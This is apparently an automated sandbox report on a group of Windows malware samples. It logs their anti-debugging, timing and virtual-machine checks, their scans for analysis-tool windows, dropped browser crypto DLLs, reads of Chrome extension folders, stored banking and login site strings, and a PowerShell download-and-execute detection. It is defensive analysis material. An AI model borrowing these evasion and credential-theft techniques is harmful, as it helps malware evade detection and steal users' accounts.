Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B82136 second address: B82146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C83Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B8286D second address: B82894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C83h 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FF8BD1A4C76h 0x0000000f jmp 00007FF8BD1A4C7Ah 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B82B42 second address: B82B48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B82DFD second address: B82E03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B82E03 second address: B82E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B85893 second address: B85899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B85899 second address: B858D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF8BCD7C840h 0x0000000a pushad 0x0000000b jmp 00007FF8BCD7C83Ch 0x00000010 jmp 00007FF8BCD7C844h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B877A0 second address: B877A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B87D43 second address: B87D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B87E68 second address: B87E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Special instruction interceptor: First address: D77B5A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Special instruction interceptor: First address: F149A8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Special instruction interceptor: First address: F13CE2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Special instruction interceptor: First address: F1C687 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Special instruction interceptor: First address: F96BDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Special instruction interceptor: First address: 9EDF6E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Special instruction interceptor: First address: B91CCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Special instruction interceptor: First address: C20E40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Special instruction interceptor: First address: 145A80B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Special instruction interceptor: First address: 9F24B3 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Special instruction interceptor: First address: 65F816 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Special instruction interceptor: First address: 65F4E4 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Special instruction interceptor: First address: 66A8B8 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Special instruction interceptor: First address: 6FCCC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6F816 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6F4E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D7A8B8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E0CCC2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Memory allocated: 5250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Memory allocated: 53F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Memory allocated: 73F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Code function: 3_2_00B6192E rdtsc

3_2_00B6192E

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe TID: 7700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8152	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8132	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8132	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8128	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8124	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8124	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 7236	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8136	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8140	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8140	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe TID: 8144	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6080	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6080	Thread sleep time: -1110000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6080	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\DBAEHCGHII.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CB7EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

4_2_6CB7EBF0

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: AFHDHCAA.4.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: B4U6J06FD2GOJV7081L.exe, B4U6J06FD2GOJV7081L.exe, 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2269174982.00000000013B1000.00000040.00000001.01000000.00000009.sdmp, DBAEHCGHII.exe, 00000012.00000002.2275198750.0000000000644000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000013.00000002.2302739421.0000000000D54000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000014.00000002.2301940765.0000000000D54000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000016.00000002.2602043866.0000000000D54000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: AFHDHCAA.4.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: AFHDHCAA.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: AFHDHCAA.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: skotes.exe, 00000016.00000002.2604719941.0000000001429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo~
Source: 4TPPuMwzSA.exe, 00000000.00000003.1514279281.0000000001635000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1464746561.0000000001632000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1487839489.0000000001632000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1490281273.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1491891684.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532529007.0000000001638000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492372678.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492511030.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1420668691.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1489752084.0000000001633000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AFHDHCAA.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: AFHDHCAA.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: AFHDHCAA.4.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: AFHDHCAA.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: DBAEHCGHII.exe, 00000012.00000002.2276311779.00000000006E6000.00000080.00000001.01000000.0000000F.sdmp, DBAEHCGHII.exe, 00000012.00000000.2226705770.0000000000644000.00000080.00000001.01000000.0000000F.sdmp, skotes.exe, 00000013.00000000.2248315142.0000000000D54000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000013.00000002.2303929341.0000000000DF6000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000014.00000000.2249226757.0000000000D54000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000014.00000002.2303120559.0000000000DF6000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000016.00000002.2603865211.0000000000DF6000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000016.00000000.2522419516.0000000000D54000.00000080.00000001.01000000.00000011.sdmp, DBAEHCGHII.exe.4.dr, random[1].exe.4.dr	Binary or memory string: %QemuP)
Source: AFHDHCAA.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: AFHDHCAA.4.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: AFHDHCAA.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: AFHDHCAA.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: AFHDHCAA.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: AFHDHCAA.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: AFHDHCAA.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: AFHDHCAA.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: AFHDHCAA.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: 4TPPuMwzSA.exe, 00000000.00000003.1442643210.0000000006024000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: AFHDHCAA.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: DBAEHCGHII.exe, 00000012.00000002.2277970844.0000000001399000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: AFHDHCAA.4.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000800000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.2604719941.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: AFHDHCAA.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: AFHDHCAA.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: AFHDHCAA.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: AFHDHCAA.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AFHDHCAA.4.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: DBAEHCGHII.exe, 00000012.00000002.2277433194.0000000001358000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}~
Source: AFHDHCAA.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: 4TPPuMwzSA.exe, 00000000.00000003.1514279281.0000000001635000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1464746561.0000000001632000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1487839489.0000000001632000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1490281273.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1491891684.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532529007.0000000001638000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492372678.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492511030.0000000001633000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1420668691.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1489752084.0000000001633000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: AFHDHCAA.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: AFHDHCAA.4.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: AFHDHCAA.4.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: B4U6J06FD2GOJV7081L.exe, 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2269174982.00000000013B1000.00000040.00000001.01000000.00000009.sdmp, DBAEHCGHII.exe, 00000012.00000002.2275198750.0000000000644000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000013.00000002.2302739421.0000000000D54000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000014.00000002.2301940765.0000000000D54000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000016.00000002.2602043866.0000000000D54000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AFHDHCAA.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: AFHDHCAA.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: AFHDHCAA.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Code function: 3_2_00B6192E rdtsc

3_2_00B6192E

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Code function: 3_2_009EB7EE LdrInitializeThunk,

3_2_009EB7EE

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CC4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6CC4AC62

Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_0048652B mov eax, dword ptr fs:[00000030h]	18_2_0048652B
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Code function: 18_2_0048A302 mov eax, dword ptr fs:[00000030h]	18_2_0048A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00B9A302 mov eax, dword ptr fs:[00000030h]	19_2_00B9A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00B9652B mov eax, dword ptr fs:[00000030h]	19_2_00B9652B

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CC4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6CC4AC62

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

